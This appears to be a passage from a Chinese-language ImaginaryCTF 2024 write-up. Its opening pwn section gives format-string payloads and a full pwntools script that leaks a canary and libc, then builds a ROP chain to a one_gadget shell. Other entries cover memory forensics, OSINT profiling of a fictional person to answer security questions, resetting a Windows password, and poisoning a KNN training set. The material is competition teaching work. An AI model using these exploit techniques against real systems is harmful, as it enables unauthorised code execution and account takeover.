$\texttt{n = 0x100000000, a = 334873123, x = 0xfeedbeef}$
$\texttt{inv(n, a)} = a^{-1}$
$\texttt{buf} = a^{-1} * \texttt{x} = \texttt{0x8c87dec5} (\mod {n})$

然後可以看一下stack
imgstore_2
rsp+8是buf
(rsp+48)是一個存(rsp+80)的位址,(rsp+80)是存(rsp+90)的值
首先先用rsp+48推算rsp+8的位址

rsp+8 = 0x300001445(random)
rsp+48 = rsp+80 -> rsp+90 -> 0
rsp+80 = rsp+90 -> 0
rsp+90 = 0

然後利用format string改變(rsp+48)所指向的值(rsp+80),讓他指向(rsp+8)
改後面2bytes即可,然後就可以看到(rsp+80)所指向的值變成(rsp+8)

payload : printf(%(rsp + 8)c%15$hn)

修改後:
rsp+8 = 0x300001445(random)
rsp+48 = rsp+80 -> rsp+8 -> 0x300001445(random)
rsp+80 = rsp+8 -> 0x300001445(random)

然後就可以利用rsp+80去修改rsp+8的值了(一次改2bytes,4bytes量太大)

payload : printf(%57029c%22$hn)

修改後:
rsp+8 = 0x30000dec5

接著利用rsp+48把rsp+80改成rsp+a

payload : printf(%(rsp + a)c%15$hn)

修改後:
rsp+a = 0x30000
rsp+48 = rsp+80 -> rsp+a -> 0x30000
rsp+80 = rsp+a -> 0x30000

然後就可以利用rsp+80去修改rsp+a的值了

payload : printf(%35975c%22$hn)

修改後:
rsp+a = 0x38c87
rsp+8 = 0x38c87dec5
但我們不管最前面那個3,因為buf是int32,3不在範圍內

改完之後就可以進入這個function了
imgstore_3
接著利用剛剛leak出來的東西做one gadget(with rop)就好了
payload:
padding|canary|pop r12; ret|0|pop r15; ret|0|one_gadget
我選的one gadget:

0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

script:

from pwn import *
#context.arch = "amd64"
#context.terminal = ["tmux", "splitw", "-h"]
#r = process("./imgstore")
r = remote("imgstore.chal.imaginaryctf.org", 1337)

def fsb(payload):    
    r.sendlineafter(b"Enter book title: ", payload)
    r.recvuntil(b"Book title --> ")
    return r.recvline()

#get rsp + 8, canary, libcbase
r.sendlineafter(b">> ", b"3")
addr = int(fsb("%15$p"), base=16) - 120
print(hex(addr))

r.sendlineafter(b"[y/n]: ", b"y")
canary = int(fsb("%17$p"), base=16)
print(hex(canary))

r.sendlineafter(b"[y/n]: ", b"y")
libcbase = int(fsb("%13$p"), base=16) - 0x84420 - 378
print(hex(libcbase))

#modify rsp+8 to 0x8c87dec5
r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(addr % 0x10000, 15).encode()
fsb(payload)

r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(0xdec5, 22).encode()
fsb(payload)

r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format((addr + 2) % 0x10000, 15).encode()
fsb(payload)

r.sendlineafter(b"[y/n]: ", b"y")
payload = '%{}c%{}$hn'.format(0x8c87, 22).encode()
fsb(payload)



#ROP -> padding|canary|pop r12; ret|0|pop r15; ret|0|one_gadget
pop_r12_ret = libcbase + 0x2f709 
pop_r15_ret = libcbase + 0x23b69 
one_gadget = libcbase + 0xe3afe

print(hex(pop_r12_ret))
print(hex(pop_r15_ret))
rop = pack(pop_r12_ret, 64) + pack(0, 64) + pack(pop_r15_ret, 64) + pack(0, 64)

payload = b'a' * 13 * 8 + pack(canary, 64) + b'a' * 8 + rop + pack(one_gadget, 64)
r.sendlineafter("UNDER DEVELOPMENT ", payload)
r.interactive()

FORENSICS#

  • solver Whale120

crash#

拿到一個vmem檔案,用volatility進行掃描

python2 vol.py -f dump.vmem kdbgscan

crash_0

filescan

python2 vol.py -f dump.vmem --profile=Win10x64_19041 filescan | grep flag

crash_1

拿到虛擬地址後,用filedump倒出:

python3 vol.py -f dump.vmem -o flag  windows.dumpfiles --virtaddr 0xc60c81c70ce0

最後切去flag目錄cat出來會變成base64, decode一下就好ㄌ~
crash_2

bom#

  • solver ChiLin.H

https://cybersharing.net/s/e964ad1143538987

改編碼,但我相信他們被雲端空間賣了。
bom_0
bom_1
Flag: ictf{th4t_isn7_chin3se}

packed#

  • solver ChiLin.H

https://cybersharing.net/s/266989fb9d6c56b1

  1. 給了個 routed.pkz
  2. 用 7zip 粗爆地鑽進他體內 packed_0
  3. 用力地打開他體內的 secret.png packed_1
  4. Flag: ictf{ab4697882634d4aeb6f21141ea2724d0}

routed#

  • solver Whale120 為packed的延續,要對routed.pkt作分析,利用Cisco Packet Tracer打開,會看到幾台可愛的機器:
    routed_0
    View Command
    routed_1
    挖到一坨假flag
    routed_2

翻了一下找到type 7 password,上網搜一下找到decrypt tool(link)
routed_3

cartesian-1#

  • solver Elliot_404 上Instagram搜尋Terrence Descartes

https://www.instagram.com/descartes.terry2001/

在限時動態中發現flag
cartesian-1_0

cartesian-2#

利用epieos搜尋[email protected](用姓名猜出來的)
Google Calendar右邊的連結點進去
https://calendar.google.com/calendar/u/0/[email protected]
題目說要觀察他去年夏天旅行,所以前往2023年6月,會看到SUMMER TRIP!!!,點下去就能看到flag(2/2)了
cartesian-2_1

cartesian-3#

  • solver Elliot_404

http://cartesian.chal.imaginaryctf.org/

  1. What is your email? A: [email protected]
    用姓名去猜即可

  2. On what day were you born? (YYYY-MM-DD) A: 2001-01-18
    此篇Instagram貼文是他的半歲生日慶祝文,用發文日期減去6個月後即是他的生日,年份的部分則在名稱中就透露了

  3. What is the name of your favorite pet? A: bonnie
    這篇Instagram貼文寫的

  4. What city have you primarily lived in for the past three months? A: San Diego
    這篇Instagram貼文寫說剛從學校回到家,代表過去3個月應該都在學校附近生活,而Instagram自我介紹透露出學校是UCSD,搜尋後發現在San Diego
    cartesian-3_0

  5. In what city did you grow up? A: Phoenix
    根據隊友提供的線索他的家鄉與各點距離
    Home**↔️NYC:2139英里
    cartesian-3_1
    Home
    ↔️西雅圖:1114英里
    cartesian-3_2
    Home
    ↔️**學校UCSD:300英里
    cartesian-3_3

但找不到適合的工具來三點定位,於是打開google地球,玩了一下量測發現是單位是公尺,透過ChatGPT先把隊友提供的線索轉換成公尺。
cartesian-3_4_meter
首先點紐約市拉一條約3436000公尺的線(大概就好不用太準只是用來找方向的)
cartesian-3_5
然後搜尋UCSD,從UCSD拉一條大概接近1787000公尺多的線,區域應該是在亞利桑那州,而且鳳凰城很靠近量測點,所以猜測是鳳凰城。
cartesian-3_6_USD
最後從西雅圖那個點拉一條482000m的線,確實在亞利桑那州範圍內,接著找出距離最接近1,787,065m位置的城市,看了一下鳳凰城,把量測點拉過去驗證,符合猜測。
cartesian-3_7_USD1

  1. What is the name of your favorite poet? A: Robert Frost
    從他Instagram帳戶追蹤的對象看出來的,每個都跟Robert Frost有關
    cartesian-3_8

  2. What was the make and model of your first car? A: Honda Civic
    這篇Instagram貼文最後有寫 #firstcar,對圖片使用google智慧鏡頭即可搜尋出車款
    cartesian-3_9

  3. In what year was your father born? A: 1981
    上github搜尋terrence descartes只能找找到一個帳戶,查看他唯一的專案的commits裡的redact sensitive info會發現他爸43歲,2024-43=1981
    cartesian-3_10

  4. What is your mother’s maiden name? A: Jackson
    cartesian-3_11
    從此篇LinkedIn貼文中得知她媽媽姓名為Amelia Jackson Descartes,根據美國冠夫姓的方式,會把夫姓放後面,引此婚前姓氏為Jackson
    實際🌰:拜登的前任太太,內莉亞·杭特·拜登(英語:Neilia Hunter Biden);婚前姓杭特(英語:Hunter)

  5. At what company do you work at? A: Cohort Calculations
    他的LinkedIn寫的:
    cartesian-3_12

  6. In what city did you go on vacation last summer? A: Saint Paul
    cartesian-3_13
    搜尋此貼文第二張圖片左上角的地點的所在地即可得知答案

  7. What are you supposed to do on August 21? A: Drop off top secret information
    在他的google日曆中察看8/21日的行程即可得知答案
    cartesian-3_14

  8. Who was your boss in your first job? A: Farmer Johnson
    在他的LinkedIn中寫的第一份工作的公司名稱的一部分即是答案
    cartesian-3_15
    最後填完所有資料按下submit就會跳到flag頁面
    cartesian-3_16_flag

dog-mom#

  • solver Elliot_404

https://cybersharing.net/s/4f1dbcbb01b5f98d

dog-mom_0

搜尋圖片其中一個地方後google辨識出地點了
dog-mom_1

接著在google地球上搜尋此地點後稍微逛一下附近即可找到題目圖片左下方的地點
dog-mom_2

根據拍攝角度來看應該是在有一定高度的地方拍的,大概率是在學習大教堂上
dog-mom_3

盡可能還原拍攝角度了XD
dog-mom_4

playful-puppy#

  • solver Elliot_404

https://cybersharing.net/s/1b3a43db9cb73c3d

題目給的是一個minecraft地圖檔,稍微翻一下後在playful-puppy\world\datapacks\Dog data\data\test\function裡發現了一個名為dog.mcfunction的檔案,打開來發現是一堆生成狗(在minecraft裡是狼)的指令,語法如下:

summon minecraft:wolf ~ ~ ~ {CustomName:dog name,Owner:cleverbear57,CustomNameVisible:0,variant:black,CollarColor:15}

playful-puppy_0
接著把playful-puppy\world丟到你的minecraft資料夾的saves底下,在遊戲中打開它,會發現一堆狗
playful-puppy_1
所以猜測dog.mcfunction生成的都不是他的狗,把裡面的生成指令改成Kill指令把多餘的狗殺掉後就會剩下他的狗了。
指令改成:

kill @e[type=minecraft:wolf,name="dog name"]

改好後的檔案:https://drive.google.com/file/d/1SXygAqhi0rcWMruVWuEpv6CcFlvRme8G/view?usp=drive_link
playful-puppy_2
接著進到遊戲中按下 T,執行/reload,再執行/function test:dog,即可消滅多餘的狗,就可以找到他的狗了,接著把名稱填入ictf{}內即可
playful-puppy_3
flag: ictf{6ed247d7539bb3bf}

MISC#

  • solver ChiLin.H

sanity-check#

sanity-check_0
Flag: ictf{this_isnt_real}

discord#

  • solver ChiLin.H discord_0
    DC URL 很會搶
    discord_1

https://discord.com/channels/732308165265326080/1262522411123736718/1262528560904667239

Flag: ictf{fake_flag_for_testing}

Locked#

  • solver ChiLin.H
    locked_0

https://storage.googleapis.com/ictf-2024-files/Locked.7z

  1. 載下來,發現檔案是一台虛擬機的檔案。 locked_1
  2. 用虛擬機打開,發現是個 Windows 10 (ia32),然後有密碼進不去 locked_2
  3. 拿出祖傳的 USBOX WinPE,打開 NTPWEdit,改掉他的密碼 locked_3
  4. 重開機後,用改掉的密碼登錄 locked_4
    Flag: ictf{97ce0dee87d38c7bb4}

sussy#

  • solver ChiLin.H
  1. 找到他的 DC 機器人 @amogusbot#3035
  2. 亂試
  3. 送出 !inventory <@1262915653455708231> @flag
  4. 機器人回覆
<@1262915653455708231> has 0 @flag amogi.|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| <@485801570462859265>ictf{$p0!l3rsp@m!!_809129783}

Flag: ictf{$p0!l3rsp@m!!_809129783}
註:後面的 @flag 可替換任意字元

starship#

  • solver Whale120 題目大致上就是以一堆數列為DataSet,以K鄰近算法做資料判別他為friend/enemy
    然後有一次插入訓練結果的機會,目標是讓某兩組資料從enemy變成friend。
    我的想法就是把需要污染的兩組資料一個取前面幾個,剩下接上後面的數列,最後宣告他是friendly,因為K鄰近會去取距離,通常(?)這樣應該就夠把距離拉近ㄌ

starship_0

2024 Imaginary CTF Write Up by ICEDTEA
https://ic3dt3a.org/posts/2024ictf/
作者
ICEDTEA
發佈於
2024-08-25
授權協議
CC BY-NC-SA 4.0